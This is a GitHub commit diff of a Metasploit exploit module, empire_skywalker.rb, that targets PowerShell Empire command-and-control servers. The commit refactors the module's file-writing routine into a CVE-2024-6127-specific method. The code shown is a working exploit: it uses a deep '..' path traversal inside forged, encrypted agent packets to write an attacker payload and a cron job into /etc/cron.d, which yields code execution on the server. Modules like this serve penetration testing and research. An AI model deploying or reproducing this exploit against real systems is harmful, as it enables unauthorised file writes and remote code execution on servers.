Skip to content

Commit ed0720d

Browse files
committed
Separate write_file function
1 parent ae95bb6 commit ed0720d

File tree

1 file changed

+34
-27
lines changed

1 file changed

+34
-27
lines changed

modules/exploits/linux/http/empire_skywalker.rb

Lines changed: 34 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -288,30 +288,6 @@ def exploit
288288
})
289289
aes_decrypt(session_key, res.body)
290290

291-
def write_file(path, data, session_id, session_key, staging_key)
292-
path = path.split("/").join("\\")
293-
encodedPart = compress(data)
294-
packet = build_response_packet(
295-
TASK_DOWNLOAD,
296-
[
297-
'0',
298-
Array.new(50, '..').join('\\') + path,
299-
data.length.to_s,
300-
compress(data)
301-
].join('|')
302-
)
303-
enc_packet = aes_encrypt_then_hmac(session_key, packet)
304-
data = build_routing_packet(staging_key, RESULT_POST, enc_packet, session_id)
305-
306-
res = send_request_cgi({
307-
'data' => data,
308-
'method' => 'POST',
309-
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
310-
'headers' => {'Cookie' => datastore['AGENT']}
311-
})
312-
res
313-
end
314-
fifth_arg = staging_key
315291
log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"
316292

317293
else
@@ -334,7 +310,6 @@ def write_file(path, data, session_id, session_key, staging_key)
334310
server_epoch = body[0..9].to_i
335311
session_key = body[10..-1]
336312
print_good('Successfully negotiated an artificial Empire agent')
337-
fifth_arg = server_epoch
338313
log_path = '/agent.log'
339314

340315
end
@@ -354,12 +329,20 @@ def write_file(path, data, session_id, session_key, staging_key)
354329
end
355330

356331
print_status("Writing payload to #{payload_path}")
357-
write_file(payload_path, payload_data, session_id, session_key, fifth_arg)
332+
if datastore['CVE'] == 'CVE-2024-6127'
333+
write_file_cve_2024_6127(payload_path, payload_data, session_id, session_key, staging_key)
334+
else
335+
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
336+
end
358337

359338
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
360339
print_status("Writing cron job to #{cron_path}")
361340

362-
write_file(cron_path, cron_file(cron_command), session_id, session_key, fifth_arg)
341+
if datastore['CVE'] == 'CVE-2024-6127'
342+
write_file_cve_2024_6127(cron_path, cron_file(cron_command), session_id, session_key, staging_key)
343+
else
344+
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
345+
end
363346
print_status("Waiting for cron job to run, can take up to 60 seconds")
364347

365348
register_files_for_cleanup(cron_path)
@@ -431,4 +414,28 @@ def to_bytes(n, length=1, byteorder='big', signed=false)
431414
bytes_array.pack('C*')
432415
end
433416

417+
def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
418+
path = path.split("/").join("\\")
419+
encodedPart = compress(data)
420+
packet = build_response_packet(
421+
TASK_DOWNLOAD,
422+
[
423+
'0',
424+
Array.new(50, '..').join('\\') + path,
425+
data.length.to_s,
426+
compress(data)
427+
].join('|')
428+
)
429+
enc_packet = aes_encrypt_then_hmac(session_key, packet)
430+
data = build_routing_packet(staging_key, RESULT_POST, enc_packet, session_id)
431+
432+
res = send_request_cgi({
433+
'data' => data,
434+
'method' => 'POST',
435+
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
436+
'headers' => {'Cookie' => datastore['AGENT']}
437+
})
438+
res
439+
end
440+
434441
end

0 commit comments

Comments
 (0)